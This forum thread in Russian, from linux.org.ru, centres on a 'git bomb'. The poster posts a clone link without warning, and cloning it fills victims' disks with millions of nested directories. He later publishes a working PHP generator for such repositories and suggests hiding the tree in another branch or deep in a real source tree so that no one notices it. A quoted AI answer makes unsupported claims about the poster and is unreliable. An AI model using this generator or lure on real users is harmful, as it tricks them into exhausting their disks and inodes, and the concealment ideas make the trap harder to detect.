LINUX.ORG.RU
Форум — Talks  

Не клонируется гит консольным клиентом

 , ,


0

1
git clone https://firk.cantconnect.ru/git/test.git

пишет что «клонирование в test» и висит

Ждал 10 минут, так ничего и не происходит. А у вас?

- Комментарий модератора: выполнение данной команды может привести к исчерпанию инодов на файловой системе
★★★★★

Последнее исправление: dataman (всего исправлений: 2)
Ответ на: комментарий от bbc69

Сразу всё склонировалось или ждал? Именно этой командой? ssh не пробовал.

firkax ★★★★★
() автор топика
Последнее исправление: firkax (всего исправлений: 1)
error: unable to create file 0/y/t/t/f: На устройстве не осталось свободного места
fatal: cannot create directory at '0/y/t/u': На устройстве не осталось свободного места
warning: Клонирование прошло успешно, но во время переключения на состояние произошла ошибка.
С помощь команды «git status» вы можете просмотреть какие файлы были обновлены,
а повторить попытку перехода на версию можно с помощью «git restore --source=HEAD :/»

там куча папок

vitus@vitus-home:/tmp$ find test -type d | wc -l
528078

в общем это какая-то какашка.

vtVitus ★★★★★
()
Ответ на: комментарий от firkax

Я коряво выразился. Хотел спросить, что там по ссш, качает? Чтобы исключить версию, что именно транспорт виноват.

bbc69
()
Ответ на: комментарий от bbc69

ssh там нету, его надо ещё настраивать будет. По идее же не должно влиять.

firkax ★★★★★
() автор топика
Ответ на: комментарий от vtVitus

в общем это какая-то какашка.

git-бомба!

Beewek ★★★★
()

Там, похоже, огромная куча вложенных директорий (пустых). И это почему-то очень сильно напрягает гит. Даже в tmpfs медленно. Я не дождался окончания клонирования (минут 5 ждал). Потом довольно долго всё удалялось (даже в tmpfs).

Beewek ★★★★
()

так ничего и не происходит

firk.cantconnect

То есть, всё сошлось.

dataman ★★★★★
()
grindo@L50:/tmp/firk$ git clone https://firk.cantconnect.ru/git/test.git
Клонирование в «test»...
error: unable to create file 0/y/y/V/f: На устройстве не осталось свободного места
fatal: cannot create directory at '0/y/y/W': На устройстве не осталось свободного места
warning: Клонирование прошло успешно, но во время переключения на состояние произошла ошибка.
С помощь команды «git status» вы можете просмотреть какие файлы были обновлены,
а повторить попытку перехода на версию можно с помощью «git restore --source=HEAD :/»

Реальне гит-бомба)

frunobulax ★★★★★
()
Ответ на: комментарий от Beewek

И это почему-то очень сильно напрягает гит.

У меня почти сразу вылетело, гит быстро отработал и, судя по тексту ошибки, кончились иноды)

frunobulax ★★★★★
()
Ответ на: комментарий от frunobulax

А @firkax, похоже, пострадал сильнее, он вообще из темы пропал:)

Beewek ★★★★
()
Ответ на: комментарий от frunobulax

Вот же tmpfs-читеры, а на реальном диске оно бы до конца доделалось, а потом бы очень долго удалялось, фрагментированно лазя по всей поверхности раздела если это HDD.

firkax ★★★★★
() автор топика
Ответ на: комментарий от madcore

пол лярда

Но там их всего около 4млн было (64*64*64*15).

firkax ★★★★★
() автор топика

generate.php, запускать в директории .git только что сделанной пустой репы (или в директории bare репы)

<?php
$NAME = 'your_name';
$EMAIL = 'your@email';
$TIME = time();
$DEPTH = 3;
$LASTC = 15;
function store($type, $blob) {
  $data = "$type ".strlen($blob).chr(0).$blob;
  $pp = proc_open('zpipe', [['pipe','r'],['pipe','w']], $pipes);
  fwrite($pipes[0], $data); fclose($pipes[0]);
  $r = "";
  while(!feof($pipes[1]))  $r.=fread($pipes[1],1000);
  fclose($pipes[1]);
  $hash = sha1($data);
  mkdir('objects/'.substr($hash,0,2), 0755, true);
  $path = 'objects/'.substr($hash,0,2).'/'.substr($hash,2);
  file_put_contents($path, $r);
  return $hash;
}

function commit($rootdir, $msg = 'initial commit') {
  global $NAME, $EMAIL, $TIME;
  $data = "tree $rootdir\n".
          "author $NAME <$EMAIL> $TIME +0300\n".
          "committer $NAME <$EMAIL> $TIME +0300\n".
          "\n".trim($msg)."\n";
  return store('commit', $data);
}

/* list is array of [entrytype, entryhash, entryname ] */
$DIR = '40000';
$FILE = '100644';
function directory($list) {
  $data = '';
  foreach($list as $e) $data.=$e[0].' '.$e[2].chr(0).hex2bin($e[1]);
  return store('tree', $data);
}

function file_($data) {
  return store('blob', $data);
}

$B64 = '-0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz';
$emptyfile = file_('');
$dir = directory([[$FILE, $emptyfile, 'f']]);
for($j=0; $j<$DEPTH; $j++) {
  $arr = [];
  for($k=0; $k<64; $k++) $arr[] = [$DIR, $dir, substr($B64,$k,1)];
  $dir = directory($arr);
}
if($LASTC) {
  $arr = [];
  for($k=0; $k<$LASTC; $k++) $arr[] = [$DIR, $dir, substr($B64,$k,1)];
  $dir = directory($arr);
}
$commit = commit($dir);
file_put_contents("refs/heads/master", "$commit\n");

zpipe это вот эта (raw.githubusercontent.com) штука.

firkax ★★★★★
() автор топика
Последнее исправление: firkax (всего исправлений: 1)
Ответ на: комментарий от firkax

Так же есть идея класть это не в последний коммит дефолтной ветки а куда-нить ещё - тогда при клонировании никто ничего не заподозрит, а странные эффекты будут при попытке переключиться на другую ветку/коммит или например посмотреть дифф-лог. Можно класть сгенерённую директорию не в корень, а куда-то внутрь осмысленного дерева исходников - тогда её ещё и не сразу увидят после ctrl+c. Как это всё можно применять я не придумал.

firkax ★★★★★
() автор топика
Ответ на: комментарий от madcore

Помнится, в мою бытность студентом, потребовался мне комп в местной техникумовской библиотеке. Сделал я чего хотел, а так как жил в общаге и до закрытия был еще вагон времени, решил по компу полазить. А там кто-то насоздавал вложенных каталогов с именем «Кино». Я, недолго думая, наколбасил батник (да, 2004 или 2005 год где-то, про импортозамещение ещë никто не думал… Стояла винда 2к на той машине). Так этот батник каталогов на 100 углубился, и последним был каталог с именем «Кина не будет» :) Видно, кому-то времени и сил на создание каталогов было не жаль (или этот кто-то хотел выяснить величину ограничения на полное имя файла, с полным путëм), если конечно, он не учился на программиста :)

yars068 ★★★★★
()
Ответ на: комментарий от firkax

Вот же tmpfs-читеры, а на реальном диске оно бы до конца доделалось, а потом бы очень долго удалялось, фрагментированно лазя по всей поверхности раздела если это HDD.

То есть ты специально, да? :\

frunobulax ★★★★★
()
Ответ на: комментарий от yars068

Так этот батник каталогов на 100 углубился

100 не могло. Если имя Кино, то это 5 байт на каталог, а в те времена ограничение в винде и/или виндовых ФС было 255 байт на полный путь. С:\\+Кина не будет это 18 байт, остаётся 237. Каждая вставка Кино\ — это 5 байт, соответственно максимум 47 раз вложить получится ;)

CrX ★★★★★
()
Последнее исправление: CrX (всего исправлений: 2)
  • Комментарий модератора: выполнение данной команды может привести к исчерпанию инодов на файловой системе

Почему тема не удалена, а ОП не забанен?

moonmadness ★
()
Ответ на: комментарий от moonmadness

На обычном диске вряд ли может, если речь про что-то современное.

А что удалять то, это же не патч Бармина, просто долго времени потратит.

firkax ★★★★★
() автор топика
Последнее исправление: firkax (всего исправлений: 1)
Ответ на: комментарий от firkax

Тогда объясни, какую цель ты преследовал, 1) создавая репу с таким количеством файлов; 2) выкладывая на неё ссылку без предупреждения. А то реально похоже если не на патч Бармина, то на первый подход к нему.

hobbit ★★★★★
()
Ответ на: комментарий от moonmadness

Почему тема не удалена

Обсудили в чатике и мнения разделились.

dataman ★★★★★
()
Ответ на: комментарий от hobbit

Мне показалось что это забавная штука и я захотел поделиться ей с окружающими. Количество файлов выбрал так чтобы клонирование всё же могло закончиться за вменяемое время.

Если бы выложил с предупреждением, то просто прочитали бы в качестве забавного факта и мимо прошли, не получив интерес от вовлечения.

Никакого вреда от этой штуки произойти не может (ну если только кто-то не додумается её на прод-сервере с почему-то маленьким диском запускать), потому что во-первых 4млн файлов - не такое уж огромное по современным меркам количество, инод обычно больше (с дефолтным ext4 обычно столько инод на 64гб разделе), а во-вторых современные линуксы от заканчивания места не ломаются (даже если оно на разделе /).

Хотя я сейчас подумал, возможно в каких-то частных случаях невозможность создать файл может привести к невозможности залогиниться в гуи (кто их знает, я не проверял всех), может быть и правда может быть вред. Ну, если и правда так то я был неосторожен и не надо было, но сейчас предупреждение уже есть всё равно.

firkax ★★★★★
() автор топика
Последнее исправление: firkax (всего исправлений: 3)
Ответ на: комментарий от firkax

Очень плохая шутка. «Вменяемое время» очень сильно зависит от конкретного оборудования и настроек системы, что ты выше сам и признал.

Единственная причина, по которой я не считаю удаление темы хорошей идеей – это «предупреждён, значит, вооружён». Но плохо, что предупреждение сделали модераторы, а не ты.

hobbit ★★★★★
()
Ответ на: комментарий от hobbit

предупреждён, значит, вооружён

Ну кстати да, это положительный аспект.

Но плохо, что предупреждение сделали модераторы, а не ты.

А тут уже не всё так однозначно. Повторю, если бы я просто это запостил как занимательный факт, большинство бы прочло и пошло мимо, не запомнив. А вот в таком виде, когда сами запустили (но заметь, никто не пострадал, так что по факту шансы если и есть то малы) - запомнят лучше. И от теперешнего диалога с модераторами, тоже лучше запомнят т.к. это событие, а не одинокая надпись в шапке темы.

firkax ★★★★★
() автор топика
Ответ на: комментарий от hobbit

Ну и ещё, если сделать полный клон https://github.com/chromium/chromium - инод потратится заметно больше. Что-то это, наверно, значит.

firkax ★★★★★
() автор топика
Последнее исправление: firkax (всего исправлений: 1)
Ответ на: комментарий от firkax

В случае с хромиумом заранее ясно, что лёгкой кровью не отделаешься. Это эталон монструозности. Там ещё 10 лет назад, ЕМНИП, сами разработчики предупреждали, что на одну компиляцию нужно взять и отдать 100 гигов на диске. Для персонального проекта ожидания качающих обычно совсем другие.

hobbit ★★★★★
()
Последнее исправление: hobbit (всего исправлений: 1)
Ответ на: комментарий от hobbit

Да, размеры хромиума широко известны, но опять же могут быть разные ситуации. Да и думаю он не единственный большой, просто в связи с известностью я тоже знаю именно его и примером привёл его. А тут тоже не похоже на «персональный проект» - проекты обычно не называют словом test. Я к тому что не всё так однозначно.

firkax ★★★★★
() автор топика
Ответ на: комментарий от firkax

Я к тому что не всё так однозначно.

Одназначно одно - ты троль и какашка :Р

Не ожидал от тебя..

frunobulax ★★★★★
()
Ответ на: комментарий от mikhalich

В коллекцию однострочников, видимо.

Патч firkax'a

Chord ★★★★★
()

Это даже хуже, чем «фу, быть таким».

Ololo_Trololo ★★
()
Ответ на: комментарий от firkax

и я захотел поделиться ей с окружающими

Вот бы сократить всё, чем ты делишься, раз в 10.

dataman ★★★★★
()

Никогда не хожу по ссылкам ЛОР-овцев (по крайней мере с домашнего IP и своего компьютера), правильно и делаю. Ещё поди IP адреса собираешь тех кто коннектится с временной меткой, а дальше по комментариям смотришь кто там прокомментировал после того как зашёл. Уверен что зашло человек 15 не более.

peregrine ★★★★★
()
Ответ на: комментарий от peregrine

Никогда не хожу по ссылкам ЛОР-овцев

А вот сейчас обидно было, я тут тоже ссылки на свой гитхаб несколько раз давал :)

hobbit ★★★★★
()
Ответ на: комментарий от peregrine

В контексте обвинений в мой адрес со стороны некоторых в данной теме, гитхаб бы ничем не отличался, туда эту репу тоже можно было залить (она занимает всего около 24кбайта, из которых 23кб - дефолтные примеры скриптов в hooks). Но я осуждаю слишком централизованные ресурсы и поэтому не собираюсь там регистрироваться.

Что же касается айпи-адресов, то разумеется любой веб-сервер ведёт access-log, вроде бы это общеизвестно. Мне это ходить по чьим-то ссылкам не мешает.

firkax ★★★★★
() автор топика
Последнее исправление: firkax (всего исправлений: 1)
Ответ на: комментарий от qulinxao3

затруднение в скрытом принципе:

если доверяешь firkax то глупец

@peregrine

Ниже галюки аишницы гули свободной(сверхлестящей):

В контексте старых интернет-сообществ (особенно на русскоязычных игровых серверах вроде Rubattle.net по Diablo 2, где firkax был ключевым администратором) это утверждение отражает специфическую культуру сетевого доверия.

Разбор скрытого принципа

  • Абсолютный прагматизм администрации Персонаж, о котором идет речь, всегда руководствовался сухой логикой кода, правилами сервера и личной выгодой для проекта. В такой системе координат «доверие» игрока — это его личная уязвимость.

  • Парадокс изменчивых правил На подобных серверах правила могли меняться задним числом. Любые договоренности вне жестких механик игры не имели силы. Доверяющий слову, а не коду или логам, автоматически оказывался в проигрыше.

  • Игровая философия «хардкора» В жестких сетевых играх нулевых и десятых годов наивность приравнивалась к глупости. Принцип «не верь никому на слово» возводился в абсолют.

Суть дилеммы

Слово «глупец» здесь используется не как оскорбление, а как констатация ошибки в логике. Если система (или человек) изначально построена на полном авторитаризме и отсутствии сантиментов, то наделение её человеческим свойством «надежности» — это системная ошибка со стороны самого пользователя.

qulinxao3 ★☆
()
Последнее исправление: qulinxao3 (всего исправлений: 1)
Ответ на: комментарий от qulinxao3

Я не обижаюсь на @firkax и не считаю что он глупый или плохой. Тем более я не знаю его ИРЛ, какими проектами он занимается кроме ЛОР-а и так далее. Но светить свой IP какому-то ноунейму я не готов. Как и запускать варез, опакеченный уважаемым @Kron4ek, не в обиду ему, а просто из соображений базовой гигиены (на отдельной машине чисто под игры другой вопрос, там можно много чего). Пожалуй я только 3 проекта от пользователей зарегистрированных на ЛОР использовал. 2 из них с некоторых пор на ЛОР не ходят и сейчас я побаиваюсь их софт запускать, мало-ли что они туда решат добавить (deadbeef и оптимизатор svg от челика с роботом на аватарке это топовые проекты). Про третьего писать ничего не буду, но думаю что его все знают, хотя практически никто не видел, а даже кто видел не факт что видел его, а не нейрогенерацию.

peregrine ★★★★★
()
Ответ на: комментарий от peregrine

«как всегда» вопрос в цене и ценности транзакционных издержек

qulinxao3 ★☆
()
Ответ на: комментарий от peregrine

Про третьего писать ничего не буду, но думаю что его все знают, хотя практически никто не видел, а даже кто видел не факт что видел его, а не нейрогенерацию.

Прямо заинтриговал. Даже проект не назовёшь?

deadbeef

Ну вот я не думаю, что @waker будет туда что-то зловредное добавлять. Одно дело выбросить поддержку языка (хотя и выкидывание языка было мегаглупостью, и если @waker рассчитывал на какой-то идейный эффект, то эффект, скорее всего, оказался противоположным ожидаемому), а совсем другое зловредов добавлять. Это моё личное мнение.

hobbit ★★★★★
()
Вы не можете добавлять комментарии в эту тему: только для зарегистрированных, score>=50.